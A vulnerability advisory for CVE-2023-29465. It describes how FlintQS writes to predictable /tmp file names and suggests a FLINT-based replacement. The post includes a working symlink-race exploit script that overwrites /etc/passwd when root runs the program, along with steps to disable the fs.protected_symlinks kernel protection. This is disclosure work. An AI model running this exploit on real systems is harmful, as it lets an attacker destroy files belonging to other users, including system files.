michael orlitzky

CVE-2023-29465: FlintQS unsafe /tmp usage

posted 2023-04-06

Product
FlintQS
Versions affected
1.0 (all)
Published on
2023-04-06
Bug report
https://github.com/sagemath/FlintQS/issues/3
MITRE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-29465

Summary

When it is set, FlintQS uses predictable paths under TMPDIR which is typically world-writable. This can be exploited in well-known ways. In particular, an attacker can make FlintQS overwrite files belonging to the user who runs it.

Details

FlintQS uses temporary files in both src/QS.cpp and src/lprels.cpp. Paraphrasing,

1
2
3
4
  char * tmp_dir = getenv("TMPDIR");
  if (tmp_dir == NULL) tmp_dir = "./";
  char * TMP_name = get_filename(tmp_dir,unique_filename(TMP_str));
  FILE * TMP = fopen(TMP_name,"w");

First we notice that if TMPDIR is unset, that the current working directory will be used for temporary files. This encourages you to set TMPDIR, because otherwise FlintQS will crash in unwritable directories:

user $ cd /

user $ echo 3839763400000000000000000000000000000000 | QuadraticSieve

Input number to factor [ >=40 decimal digits]: Unable to open temporary file

Aborted

So suppose that TMPDIR is set—on Linux it will typically be a world-writable directory like /tmp. The get_filename() function concatenates its two arguments, directory and file names, to make a complete path; and the unique_filename() function simply appends the current UID and PID to the given string. The end result is a somewhat unique but entirely predictable name in a world-writable directory, since the UID and PID of a process are usually visible to other users on the machine. To see what these names look like with a UID of 1000, we can Ctrl-C while FlintQS is running:

user $ export TMPDIR=/tmp

user $ echo 3839763400000000000000000000000000000000 | QuadraticSieve

Input number to factor [ >=40 decimal digits]: 20 full relations, 0 combined relations

41 full relations, 0 combined relations

62 full relations, 0 combined relations

76 full relations, 0 combined relations

98 full relations, 0 combined relations

...

lanczos halted after 1 iterations

lanczos halted ^C

user $ ls /tmp/*.*.*

-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/comb.1000.26163

-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/flprels.1000.26163

-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/fnew.1000.26163

-rw-r--r-- 1 mjo mjo 157K 2023-04-06 09:18 /tmp/frels.1000.26163

-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/lpnew.1000.26163

-rw-r--r-- 1 mjo mjo 800 2023-04-06 09:18 /tmp/lprels.1000.26163

-rw-r--r-- 1 mjo mjo 0 2023-04-06 09:18 /tmp/rels.1000.26163

Since FlintQS opens these paths with a bare fopen(), it is vulnerable to all of the usual /tmp exploits. In particular, an attacker who can figure out the UID and PID fast enough can overwrite files belonging to the user who runs QuadraticSieve. For a proof-of-concept, make sure your kernel isn't hardened against exactly the thing we're going to do:

root # sysctl fs.protected_symlinks=0

fs.protected_symlinks = 0

Next, make a backup of /etc/passwd:

root # cp -a /etc/passwd /root

The following script will scan the output of ps, looking for any root QuadraticSieve processes. When such a process is found, the script creates a symlink to /etc/passwd, which FlintQS should then overwrite. We first set TMPDIR and then launch it as a non-root user.

user $ cat exploit.sh

EXT=""

while [ -z "${EXT}" ]; do

EXT=$(ps -u 0 -C QuadraticSieve -o uid=,pid= | tr -s ' ' | tr ' ' .)

done

PATHNAME="${TMPDIR}/rels${EXT}"

ln -s /etc/passwd "${PATHNAME}"

user $ export TMPDIR=/tmp

user $ sh exploit.sh

Now, as root, (you backed up /etc/passwd, right?), launch QuadraticSieve with a nice big argument:

root # echo 2239744742208359750202459571862470963447786169650421560804978144723333977920476664877327716487683639603 | QuadraticSieve

The exploit script will now terminate, having created its symlink. And your /etc/passwd is probably gone already. When you're convinced, kill that QuadraticSieve process, and don't forget to restore your backup of /etc/passwd and re-enable fs.protected_symlinks:

root # mv /root/passwd /etc/

root # sysctl fs.protected_symlinks=1

fs.protected_symlinks = 1

Resolution

The FlintQS repository is archived, and FlintQS is being replaced in SageMath. In other words, FlintQS is obsolete and should not be used. If you need a command-line quadratic sieve, something like this should do.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <flint fmpz.h>
#include <flint fmpz_factor.h>
#include <flint qsieve.h>

int main(int argc, char** argv) {
  fmpz_factor_t factors;
  fmpz_t n;

  if (argc < 2) {
    return 1;
  }

  fmpz_set_str(n, argv[1], 10);
  fmpz_factor_init(factors);
  qsieve_factor(factors, n);
  fmpz_factor_print(factors);
  printf("\n");
  fmpz_factor_clear(factors);

  return 0;
}

Compile, and the result will factor its first command-line argument:

user $ gcc flintqs.c -lflint -o flintqs

user $ ./flintqs 38397634

2 * 11 * 79 * 22093